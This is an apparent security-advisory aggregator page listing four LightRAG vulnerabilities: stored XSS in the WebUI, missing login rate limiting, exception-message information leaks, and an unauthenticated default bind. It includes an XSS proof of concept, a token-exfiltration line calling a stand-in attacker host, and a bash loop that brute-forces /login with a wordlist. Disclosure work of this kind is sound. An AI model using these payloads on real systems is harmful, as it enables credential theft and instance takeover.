Where
-Infinity
0

Vendor Risk Score

See how lightrag compares to other vendors in security performance

View Risk Score →
Severity
6.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details Sink — lightragwebui/src/components/retrieval/ChatMessage.tsx: - Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform. - Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a mermaid block in answer content (HTML label / click directive) is an additional script-execution path. - Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when onlyneedcontext=true, lightrag/api/routers/queryroutes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightragwebui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser: bash mkdir xss-check && cd xss-check npm init -y npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7 save the script below as poc.mjs, then: node poc.mjs open the generated poc.html in any browser (or headless): msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html" poc.mjs: js import React from 'react'; import { renderToStaticMarkup } from 'react-dom/server'; import ReactMarkdown from 'react-markdown'; import rehypeRaw from 'rehype-raw'; import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document. const answer = <iframe srcdoc="<script> + var h=parent.document.createElement('h1');h.style.color='red'; + h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page'); + parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED'; + <\/script>"></iframe>;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer): const body = renderToStaticMarkup( React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer) ); writeFileSync('poc.html', <!doctype html><title>before-xss</title><body>${body}</body>); console.log(body); // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance): bash curl -X POST http://127.0.0.1:9621/documents/text \ -H 'Content-Type: application/json' \ -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","filesource":"note.md"}' Then query the knowledge base from the WebUI (or POST /query with onlyneedcontext=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

python lightrag/api/lightragserver.py:2161 @app.post("/login") async def login(formdata: OAuth2PasswordRequestForm = Depends()): if not authhandler.verifypassword(username, formdata.password): raise HTTPException(statuscode=401, detail="Incorrect credentials") # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, ratelimit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

bash Brute-force /login with a wordlist, no throttling while IFS= read -r pass; do code=$(curl -s -o /dev/null -w "%{httpcode}" \ -X POST http://<TARGET>:9621/login \ -d "username=admin&password=${pass}") [ "$code" = "200" ] && echo "[FOUND] $pass" && break done < /usr/share/wordlists/rockyou.txt

Impact Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e): - documentroutes.py — 13 - graphroutes.py — 12 (mix of detail=f"...{str(e)}" and detail=errormsg) - queryroutes.py — 3 - ollamaapi.py — 2 - lightragserver.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc): - documentroutes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightragserver.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (documentroutes.py, upload handler):

python except Exception as e: logger.error(f"Error /documents/upload: {file.filename}: {str(e)}") raise HTTPException(statuscode=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

1. Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/ragstorage/default/kvstorefulldocs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)

2. Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGOURI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.

3. LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.

4. Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.

5. Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

bash Make a storage file unreadable to force an I/O error. chmod 000 ./ragstorage/default/kvstorefulldocs.json curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

json { "detail": "[Errno 13] Permission denied: '/app/data/ragstorage/default/kvstorefulldocs.json'" }

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAGKVSTORAGE=PGKVStorage POSTGRESHOST=nonexistent-host-12345.example.com POSTGRESPORT=5432 POSTGRESUSER=lightrag POSTGRESDATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

json { "detail": "[Errno -2] Name or service not known" }

For a URI-configured backend such as MongoDB (MONGOURI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

- Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials). - Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

1. Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:

python except Exception as e: logger.error(f"Error /documents/upload: {file.filename}: {e!r}") raise HTTPException(statuscode=500, detail="Internal server error")

2. Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

python @app.exceptionhandler(Exception) async def unhandledexceptionhandler(request, exc): logger.error(f"Unhandled exception: {exc!r}", excinfo=True) return JSONResponse(statuscode=500, content={"detail": "Internal server error"})

3. Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internalservererror() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exceptionhandler(Exception) is registered in createapp, and the two 422 validators are wrapped.

Credits - Thai Son Dinh from VinSOC Labs (R&D) - Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

LightRAG provides simple and fast retrieval-augmented generation. Through version 1.5.4, the LightRAG API server binds to all network interfaces with authentication disabled by default, allowing an unauthenticated network attacker to read indexed document content, upload or delete documents, modify the knowledge graph, cancel pipelines, clear caches, and consume LLM resources. This issue is mitigated in version 1.5.5rc1.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203